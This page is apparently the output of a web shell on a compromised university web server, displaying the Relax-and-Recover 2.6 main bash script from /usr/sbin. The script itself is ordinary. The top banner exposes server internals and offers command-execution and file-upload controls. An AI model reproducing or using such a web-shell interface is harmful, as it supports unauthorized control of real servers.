Server IP : 172.16.15.8 / Your IP : 3.21.46.68 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0555) : /usr/sbin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/bin/bash # $Id$ # # Relax-and-Recover # # Relax-and-Recover is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # Relax-and-Recover is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with Relax-and-Recover; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Authors: # See https://github.com/rear/rear/graphs/contributors for full list of authors # Usually functions belong to the library scripts (i.e. $SHARE_DIR/lib/*.sh), # but these 2 are exceptions on the rule because the complementary global functions # to get and apply bash flags and options commands are needed from the very beginning # (the usual functions are sourced at "Include functions" below): function get_bash_flags_and_options_commands () { # Output bash commands that set the currently set flags # in reverse ordering to have "set ... xtrace" (i.e. "set +/- x") first # so that this flag is set first via apply_bash_flags_and_options_commands # which results better matching logging output in debugscript mode: set +o | tac | tr '\n' ';' # Output bash commands that set the currently set options: shopt -p | tr '\n' ';' } # This function exists only to provide a syntactically matching counterpart of get_bash_flags_and_options_commands: function apply_bash_flags_and_options_commands () { # Must be called with $1 that is the output of a previous get_bash_flags_and_options_commands: eval "$1" } # At the very beginning save initial bash flags and options in a global readonly variable # so that exactly the initial bash flags and options can be restored if needed via # apply_bash_flags_and_options_commands "$INITIAL_BASH_FLAGS_AND_OPTIONS_COMMANDS" readonly INITIAL_BASH_FLAGS_AND_OPTIONS_COMMANDS="$( get_bash_flags_and_options_commands )" # Enable as needed for development of fail-safe code: # set -ue -o pipefail # set -xue -o pipefail # set -xvue -o pipefail # Cf. the Relax-and-Recover Coding Style # https://github.com/rear/rear/wiki/Coding-Style # that reads (excerpt - dated 18. Nov. 2015): # "TODO Use set -eu to die from unset variables and unhandled errors" # Versioning readonly PRODUCT="Relax-and-Recover" readonly PROGRAM=${0##*/} readonly VERSION=2.6 readonly RELEASE_DATE="2020-06-17" # Used in framework-functions.sh to calculate the time spent executing rear: readonly STARTTIME=$SECONDS # Provide the command line options in an array so that other scripts may read them: readonly CMD_OPTS=( "$@" ) # Allow workflows to set the exit code to a different value (not "readonly"): EXIT_CODE=0 # The separated EXIT_FAIL_MESSAGE variable is used to denote a failure exit. # One cannot use EXIT_CODE for that because there are cases where a non-zero exit code # is the intended outcome (e.g. in the 'checklayout' workflow, cf. the end of this script). # Set EXIT_FAIL_MESSAGE to 1 to have an exit failure message by default which is needed # to get a failure message when it exits at an arbitrary place because of 'set -e' # cf. https://github.com/rear/rear/issues/700#issuecomment-327755633 # Before a normal exit EXIT_FAIL_MESSAGE is set to 0 (cf. the end of this script): EXIT_FAIL_MESSAGE=1 # Find out if we're running from checkout REAR_DIR_PREFIX="" readonly SCRIPT_FILE="$( readlink -f $( type -p "$0" || echo "$0" ) )" if test "$SCRIPT_FILE" != "$( readlink -f /usr/sbin/$PROGRAM )" ; then REAR_DIR_PREFIX=${SCRIPT_FILE%/usr/sbin/$PROGRAM} fi readonly REAR_DIR_PREFIX # Program directories - they must be set here. Everything else is then dynamic. # Not yet readonly here because they are set via the /etc/rear/rescue.conf file # in the recovery system that is sourced by the rear command in recover mode # and CONFIG_DIR can also be changed via '-c' command line option: SHARE_DIR="/usr/share/rear" CONFIG_DIR="/etc/rear" VAR_DIR="/var/lib/rear" LOG_DIR="$REAR_DIR_PREFIX/var/log/rear" # Generic global variables that are not meant to be configured by the user # (i.e. that do not belong into usr/share/rear/conf/default.conf), # see https://github.com/rear/rear/issues/678 # and https://github.com/rear/rear/issues/708 # Location of the disklayout.conf file created by savelayout # (no readonly DISKLAYOUT_FILE because it is also set in checklayout-workflow.sh and mkbackuponly-workflow.sh): DISKLAYOUT_FILE="$VAR_DIR/layout/disklayout.conf" # Location of the root of the filesystem tree of the target system # in particular the root of the filesystem tree of the to-be-recovered-system in the recovery system # i.e. the mountpoint in the recovery system where the filesystem tree of the to-be-recovered-system is mounted: readonly TARGET_FS_ROOT="/mnt/local" # Initialize defaults: empty value means "false"/"no": DEBUG="" DEBUGSCRIPTS="" DEBUGSCRIPTS_ARGUMENT="x" DISPENSABLE_OUTPUT_DEV="null" KEEP_BUILD_DIR="" KERNEL_VERSION="" RECOVERY_MODE="" STEPBYSTEP="" SIMULATE="" VERBOSE="" WORKFLOW="" # Parse options help_note_text="Use '$PROGRAM --help' or 'man $PROGRAM' for more information." if ! OPTS="$( getopt -n $PROGRAM -o "c:C:dDhsSvVr:" -l "help,version,debugscripts:" -- "$@" )" ; then echo "$help_note_text" exit 1 fi readonly OPTS eval set -- "$OPTS" while true ; do case "$1" in (-h|--help) WORKFLOW="help" ;; (-V|--version) echo -e "$PRODUCT $VERSION / $RELEASE_DATE" exit 0 ;; (-v) VERBOSE=1 ;; (-c) if [[ "$2" == -* ]] ; then # When the item that follows '-c' starts with a '-' # it is considered to be the next option and not an argument for '-c': echo "-c requires an argument." echo "$help_note_text" exit 1 fi CONFIG_DIR="$2" shift ;; (-C) if [[ "$2" == -* ]] ; then # When the item that follows '-C' starts with a '-' # it is considered to be the next option and not an argument for '-C': echo "-C requires an argument." echo "$help_note_text" exit 1 fi CONFIG_APPEND_FILES="$2" shift ;; (-d) DEBUG=1 VERBOSE=1 ;; (-D) DEBUG=1 VERBOSE=1 DEBUGSCRIPTS=1 ;; (--debugscripts) DEBUG=1 VERBOSE=1 DEBUGSCRIPTS=1 DISPENSABLE_OUTPUT_DEV="stderr" if [[ "$2" == -* ]] ; then # When the item that follows '--debugscripts' starts with a '-' # it is considered to be the next option and not an argument for '--debugscripts': echo "--debugscripts requires an argument." echo "$help_note_text" exit 1 fi DEBUGSCRIPTS_ARGUMENT="$2" shift ;; (-s) SIMULATE=1 VERBOSE=1 ;; (-S) STEPBYSTEP=1 ;; (-r) if [[ "$2" == -* ]] ; then # When the item that follows '-r' starts with a '-' # it is considered to be the next option and not an argument for '-r': echo "-r requires an argument." echo "$help_note_text" exit 1 fi KERNEL_VERSION="$2" shift ;; (--) shift break ;; (-*) echo "$PROGNAME: unrecognized option '$option'" echo "$help_note_text" exit 1 ;; (*) break ;; esac shift done # Set workflow to first command line argument or to "help" as fallback: if test -z "$WORKFLOW" ; then # Usually workflow is now in $1 (after the options and its arguments were shifted above) # but when rear is called without a workflow there exists no $1 here so that # an empty default value is used to avoid 'set -eu' error exit if $1 is unset: if test "${1:-}" ; then # Not "$1" to get rid of compound commands: WORKFLOW=$1 shift else WORKFLOW=help fi fi # Keep the remaining command line arguments to feed to the workflow: ARGS=( "$@" ) # The following workflows are always verbose: case "$WORKFLOW" in (validate|shell|recover|mountonly) VERBOSE=1 ;; esac # Set the variables v and verbose to be used in called programs # that support the '-v' or '--verbose' options like # "cp $v ..." or "rm $verbose ..." and so on: v="" verbose="" if test "$VERBOSE" ; then v="-v" verbose="--verbose" fi # Mark variables that are not meant to be changed later as constants (i.e. readonly). # Exceptions here: # CONFIG_DIR because "rear recover" sets it in /etc/rear/rescue.conf in the recovery system # WORKFLOW because for the udev workflow WORKFLOW is set to the actual workflow # KERNEL_VERSION because if empty it is set when sourcing config files below: readonly ARGS readonly CONFIG_APPEND_FILES readonly DEBUG DEBUGSCRIPTS DEBUGSCRIPTS_ARGUMENT DISPENSABLE_OUTPUT_DEV readonly SIMULATE STEPBYSTEP VERBOSE # The udev workflow is a special case because it is only a wrapper workflow # that calls an actual workflow that is specified as $UDEV_WORKFLOW # (e.g. the default UDEV_WORKFLOW is "mkrescue" in default.conf) # and then WORKFLOW is set to the actual workflow in udev-workflow.sh # so that WORKFLOW cannot be set readonly for the udev workflow: test "$WORKFLOW" = "udev" || readonly WORKFLOW # Make sure we have the necessary paths (eg. in cron), /sbin will be the first path to search. # some needed binaries are in /lib/udev or /usr/lib/udev for path in /usr/bin /bin /usr/sbin /sbin ; do case ":$PATH:" in (*:"$path":*) ;; (*) test -d "$path" && PATH=$path:$PATH ;; esac done # No readonly PATH so that it can be later extended if needed # (e.g. to have third-party backup/restore tools available via PATH): PATH=$PATH:/lib/udev:/usr/lib/udev # ReaR must run as 'root' (i.e. abort if effective user ID is not 0): if test "$( id --user )" != "0" ; then echo "ERROR: $PRODUCT needs 'root' privileges (effective user ID is not 0)" >&2 exit 1 fi # Set some bash options: # With nullglob set when e.g. for foo*bar no file matches are found, then foo*bar is removed # (e.g. "ls foo*bar" becomes plain "ls" without "foo*bar: No such file or directory" error). # The extglob shell option enables several extended pattern matching operators. shopt -s nullglob extglob # Save the current default bash flags and options in a global readonly variable # so that exactly the default bash flags and options can be restored if needed via # apply_bash_flags_and_options_commands "$DEFAULT_BASH_FLAGS_AND_OPTIONS_COMMANDS" readonly DEFAULT_BASH_FLAGS_AND_OPTIONS_COMMANDS="$( get_bash_flags_and_options_commands )" # Forget all remembered full pathnames of commands: hash -r # Make sure that we use only English: export LC_CTYPE=C LC_ALL=C LANG=C # Include default config before the RUNTIME_LOGFILE value is set because # setting the right RUNTIME_LOGFILE value requires values from default.conf # in particular the default LOGFILE value and the values of the # LOCKLESS_WORKFLOWS and SIMULTANEOUS_RUNNABLE_WORKFLOWS arrays: source $SHARE_DIR/conf/default.conf # Use RUNTIME_LOGFILE for the logfile that is actually used during runtime # so that the user can specify a different LOGFILE in his local.conf file. # During runtime use only the actually used RUNTIME_LOGFILE value. # By default RUNTIME_LOGFILE is the LOGFILE from default.conf: RUNTIME_LOGFILE="$LOGFILE" # Set the right RUNTIME_LOGFILE value depending on whether or not # this currently running instance can run simultaneously with another instance: can_run_simultaneously="" # LOCKLESS_WORKFLOWS can run simultaneously with another instance by using LOGFILE.lockless. # FIXME: Only one lockless workflow can run otherwise the same LOGFILE.lockless # would be used by more than one simultaneously running lockless workflows: for lockless_workflow in "${LOCKLESS_WORKFLOWS[@]}" ; do if test "$WORKFLOW" = "$lockless_workflow" ; then RUNTIME_LOGFILE="$LOGFILE.lockless" can_run_simultaneously="yes" break fi done # SIMULTANEOUS_RUNNABLE_WORKFLOWS are allowed to run simultaneously # but cannot use LOGFILE.lockless instead they get a LOGFILE with PID # see https://github.com/rear/rear/issues/1102 # When a workflow is both in LOCKLESS_WORKFLOWS and in SIMULTANEOUS_RUNNABLE_WORKFLOWS # its right LOGFILE value is the one for SIMULTANEOUS_RUNNABLE_WORKFLOWS: for simultaneous_runnable_workflow in "${SIMULTANEOUS_RUNNABLE_WORKFLOWS[@]}" ; do if test "$WORKFLOW" = "$simultaneous_runnable_workflow" ; then # Simultaneously runnable workflows require unique logfile names # so that the PID is interposed in the LOGFILE value from default.conf # which is used as RUNTIME_LOGFILE while the workflow is running # and at the end it gets copied to a possibly used-defined LOGFILE. # The logfile_suffix also works for logfile names without '.*' suffix # (in this case ${LOGFILE##*.} returns the whole $LOGFILE value): logfile_suffix=$( test "${LOGFILE##*.}" = "$LOGFILE" && echo 'log' || echo "${LOGFILE##*.}" ) RUNTIME_LOGFILE="${LOGFILE%.*}.$$.$logfile_suffix" can_run_simultaneously="yes" break fi done # The log file that is actually used during runtime must not be changed: readonly RUNTIME_LOGFILE # When this currently running instance cannot run simultaneously with another instance # test that this currently running instance does not run simultaneously with another instance: if ! test "$can_run_simultaneously" ; then # In this case pidof is needed to test what running instances there are: if ! type pidof 1>/dev/null ; then echo "ERROR: Required program 'pidof' missing, please check your PATH" >&2 exit 1 fi # For unknown reasons '-o %PPID' does not work for pidof at least in SLES11 # so that a manual test is done to find out if another pid != $$ is running: for pid in $( pidof -x "$SCRIPT_FILE" ) ; do if test "$pid" != $$ ; then echo "ERROR: $PROGRAM is already running, not starting again" >&2 exit 1 fi done fi # Source usr/share/rear/lib/_input-output-functions.sh because therein # the original STDIN STDOUT and STDERR file descriptors are saved as fd6 fd7 and fd8 # so that ReaR functions for actually intended user messages can use fd7 and fd8 # to show messages to the user regardless where to STDOUT and STDERR are redirected # and fd6 to get input from the user regardless where to STDIN is redirected: source $SHARE_DIR/lib/_input-output-functions.sh # Keep old log file: test -r "$RUNTIME_LOGFILE" && mv -f "$RUNTIME_LOGFILE" "$RUNTIME_LOGFILE".old 2>/dev/null # Start logging: mkdir -p $LOG_DIR || echo "ERROR: Could not create $LOG_DIR" >&2 cat /dev/null >"$RUNTIME_LOGFILE" # Redirect both STDOUT and STDERR into the log file. # To be more on the safe side append to the log file '>>' instead of plain writing to it '>' # because when a program (bash in this case) is plain writing to the log file it can overwrite # output of a possibly simultaneously running process that likes to append to the log file # (e.g. when a background process runs that also uses the ReaR log file for logging): exec 2>>"$RUNTIME_LOGFILE" # Make stdout the same what stderr already is. # This keeps strict ordering of stdout and stderr outputs # because now both stdout and stderr use one same file descriptor. # The redirection of stdout into the log file was postponed for ReaR v2.2 # see https://github.com/rear/rear/issues/1398#issuecomment-315318878 # for ReaR v2.3 redirection of stdout into the log file is re-enabled: exec 1>&2 # Include functions after RUNTIME_LOGFILE is set and readonly # so that functions can use a fixed RUNTIME_LOGFILE value: for script in $SHARE_DIR/lib/[a-z]*.sh ; do source $script done # Show initial startup messages: if test "$WORKFLOW" != "help" ; then LogPrint "$PRODUCT $VERSION / $RELEASE_DATE" LogPrint "Running $PROGRAM $WORKFLOW (PID $MASTER_PID)" Log "Command line options: $0 ${CMD_OPTS[@]}" LogPrint "Using log file: $RUNTIME_LOGFILE" fi # In DEBUG mode keep by default the build area but that can be overridden in user config files # therefore no readonly KEEP_BUILD_DIR (it is also set to 1 in build/default/990_verify_rootfs.sh): test "$DEBUG" && KEEP_BUILD_DIR=1 || true # Check if we are in recovery mode: test -e "/etc/rear-release" && RECOVERY_MODE="y" || true readonly RECOVERY_MODE test "$SIMULATE" && LogPrint "Simulation mode activated, Relax-and-Recover base directory: $SHARE_DIR" || true if test "$DEBUGSCRIPTS_ARGUMENT" ; then Debug "Current set of flags is '$-'" Debug "The debugscripts flags are '$DEBUGSCRIPTS_ARGUMENT'" fi # All workflows need to read the configurations first. # Combine configuration files: Debug "Combining configuration files" # Use this file to manually override the OS detection: test -d "$CONFIG_DIR" || Error "Configuration directory $CONFIG_DIR is not a directory" test -r "$CONFIG_DIR/os.conf" && Source "$CONFIG_DIR/os.conf" || true test -r "$CONFIG_DIR/$WORKFLOW.conf" && Source "$CONFIG_DIR/$WORKFLOW.conf" || true SetOSVendorAndVersion # Distribution configuration files: for config in "$ARCH" "$OS" \ "$OS_MASTER_VENDOR" "$OS_MASTER_VENDOR_ARCH" "$OS_MASTER_VENDOR_VERSION" "$OS_MASTER_VENDOR_VERSION_ARCH" \ "$OS_VENDOR" "$OS_VENDOR_ARCH" "$OS_VENDOR_VERSION" "$OS_VENDOR_VERSION_ARCH" ; do test -r "$SHARE_DIR/conf/$config.conf" && Source "$SHARE_DIR/conf/$config.conf" || true done # User configuration files, last thing is to overwrite variables if we are in the rescue system: for config in site local rescue ; do if test -r "$CONFIG_DIR/$config.conf" ; then # Delete all characters except '\r' and error out if the resulting string is not empty: test "$( tr -d -c '\r' < $CONFIG_DIR/$config.conf )" && Error "Carriage return character in $CONFIG_DIR/$config.conf (perhaps DOS or Mac format)" Source "$CONFIG_DIR/$config.conf" || true fi done # Finally source additional configuration files if specified on the command line: if test "$CONFIG_APPEND_FILES" ; then # Treat missing additional config files (almost) same as other missing config files # which means that missing additional config files do not let ReaR abort with an Error # but in contrast to other missing config files missing additional config files # are reported to the user via 'LogPrintError' so that the user is at least informed # if what he requested via the '-C' command line option cannot be fulfilled. # An intended positive side-effect when missing additional config files are no Error # is that then it also works (not relly cleanly but it works) for DRLM_MANAGED=y # which requires that missing local config files must not let ReaR abort with an Error # because the needed config files get later downloaded from the DRLM server and applied # (cf. the drlm_import_runtime_config function in lib/drlm-functions.sh) # for details see https://github.com/rear/rear/issues/1229 for config_append_file in $CONFIG_APPEND_FILES ; do # If what is specified on the command line starts with '/' an absolute path is meant # otherwise what is specified on the command line means a file in CONFIG_DIR. # Files in CONFIG_DIR get automatically copied into the recovery system but # other files are added to COPY_AS_IS to get them copied into the recovery system: case "$config_append_file" in (/*) config_append_file_path="$config_append_file" # If "-C foo" was specified on the command line but 'foo' does not exist # try if 'foo.conf' exists and if yes, use that: if test -r "$config_append_file_path" ; then COPY_AS_IS+=( "$config_append_file_path" ) else if test -r "$config_append_file_path.conf" ; then COPY_AS_IS+=( "$config_append_file_path.conf" ) else LogPrintError "There is '-C $config_append_file' but neither '$config_append_file_path' nor '$config_append_file_path.conf' can be read." fi fi ;; (*) config_append_file_path="$CONFIG_DIR/$config_append_file" ;; esac # If "-C foo" was specified on the command line but 'foo' does not exist # try if 'foo.conf' exists and if yes, use that: if test -r "$config_append_file_path" ; then LogPrint "Sourcing additional configuration file '$config_append_file_path'" Source "$config_append_file_path" else if test -r "$config_append_file_path.conf" ; then LogPrint "Sourcing additional configuration file '$config_append_file_path.conf'" Source "$config_append_file_path.conf" else LogPrintError "There is '-C $config_append_file' but neither '$config_append_file_path' nor '$config_append_file_path.conf' can be read." fi fi done fi # Now SHARE_DIR CONFIG_DIR VAR_DIR LOG_DIR and KERNEL_VERSION should be set to a fixed value: readonly SHARE_DIR CONFIG_DIR VAR_DIR LOG_DIR KERNEL_VERSION # Enable progress subsystem only in verbose mode, set some stuff that others can use: if test "$VERBOSE" ; then source $SHARE_DIR/lib/progresssubsystem.nosh fi SourceStage "init" readonly VERSION_INFO=" $PRODUCT $VERSION / $RELEASE_DATE $PRODUCT comes with ABSOLUTELY NO WARRANTY; for details see the GNU General Public License at: http://www.gnu.org/licenses/gpl.html Host $( uname -n ) using Backup $BACKUP and Output $OUTPUT Build date: $( date -R ) " if test "$WORKFLOW" != "help" ; then # Create temporary work area and register removal exit task: BUILD_DIR="$( mktemp -d -t rear.XXXXXXXXXXXXXXX || Error "Could not create build area '$BUILD_DIR'" )" # Since 'mktemp' doesn't always return a path under /tmp, the build # directory has always to be excluded for safety BACKUP_PROG_EXCLUDE+=( "$BUILD_DIR" ) QuietAddExitTask cleanup_build_area_and_end_program Log "Using build area '$BUILD_DIR'" ROOTFS_DIR=$BUILD_DIR/rootfs TMP_DIR=$BUILD_DIR/tmp mkdir -p $v $ROOTFS_DIR >&2 || Error "Could not create $ROOTFS_DIR" mkdir -p $v $TMP_DIR >&2 || Error "Could not create $TMP_DIR" fi # Check for and run the requested workflow: if has_binary WORKFLOW_$WORKFLOW ; then Log "Running $WORKFLOW workflow" # There could be no ARGS[@] which means it would be an unbound variable so that # an empty default is used here to avoid an error exit if 'set -eu' is used: WORKFLOW_$WORKFLOW "${ARGS[@]:-}" Log "Finished running $WORKFLOW workflow" else LogPrintError "ERROR: The specified command '$WORKFLOW' does not exist!" EXIT_CODE=1 fi # Usually RUNTIME_LOGFILE=/var/log/rear/rear-$HOSTNAME.log # The RUNTIME_LOGFILE name is set above from LOGFILE in default.conf # but later user config files are sourced where LOGFILE can be set different # so that the user config LOGFILE is used as final logfile name: if test "$RUNTIME_LOGFILE" != "$LOGFILE" ; then test "$WORKFLOW" != "help" && LogPrint "Saving $RUNTIME_LOGFILE as $LOGFILE" cat "$RUNTIME_LOGFILE" > "$LOGFILE" fi # When this point is reached, the workflow is done without a real error because # for real errors one of the Error functions should be called that kills rear and # then the exit code is usually 143 = 128 + 15 (15 = SIGTERM from the USR1 trap) # and the Error function results an "ERROR: ..." syslog message. # Set EXIT_FAIL_MESSAGE to 0 to avoid a false exit failure message: EXIT_FAIL_MESSAGE=0 # There should be no syslog message for the help workflow: if test "$WORKFLOW" != "help" ; then if test $EXIT_CODE -eq 0 ; then LogToSyslog "$PROGRAM $WORKFLOW finished with zero exit code" else if test "checklayout" = "$WORKFLOW" -a $EXIT_CODE -eq 1 ; then # The checklayout workflow is special because it sets EXIT_CODE=1 # when the disk layout has changed or when configuration files have changed # but that exit code 1 is no error but meant as a signal that things have changed # which require a new ISO image so that users can run "rear checklayout || rear mkrescue" # see https://github.com/rear/rear/issues/564 LogToSyslog "$PROGRAM checklayout finished with exit code 1 (layout or config changed)" else LogToSyslog "$PROGRAM $WORKFLOW failed with exit code $EXIT_CODE" fi fi fi exit $EXIT_CODE # vim: set et ts=4 sw=4: